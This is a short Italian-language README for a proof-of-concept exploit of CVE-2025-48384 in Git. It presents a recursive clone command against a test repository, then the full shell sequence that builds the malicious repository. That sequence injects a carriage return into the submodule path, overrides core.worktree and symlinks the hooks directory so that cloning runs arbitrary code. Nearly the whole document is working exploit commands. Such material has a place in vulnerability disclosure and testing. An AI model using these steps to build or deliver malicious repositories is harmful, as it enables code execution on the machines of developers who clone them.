
Proof-of-concept exploit per CVE-2025-48384, che dimostra l'iniezione del percorso del sottomodulo Git e la manipolazione del worktree per ottenere l'esecuzione arbitraria di codice tramite la clonazione di un repository malintenzionato.
Comando di riproduzione
git clone --recursive https://github.com/beishanxueyuan/CVE-2025-48384-test.git
Modifica del repository GitHub puntato
git init repo
git -C repo -c protocol.file.allow=always submodule add https://github.com/beishanxueyuan/CVE-2025-48384.git sub
git -C repo mv sub $(printf "sub\r")
git config unset -f repo/.gitmodules submodule.sub.path
printf "\tpath = \"sub\r\"\n" >> repo/.gitmodules
git config unset -f repo/.git/modules/sub/config core.worktree
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.git/modules/sub/config
ln -s .git/modules/sub/hooks repo/sub
git -C repo add -A
git -C repo commit -m submodule
cd repo/
git branch -M main
git remote add origin https://github.com/beishanxueyuan/CVE-2025-48384-test.git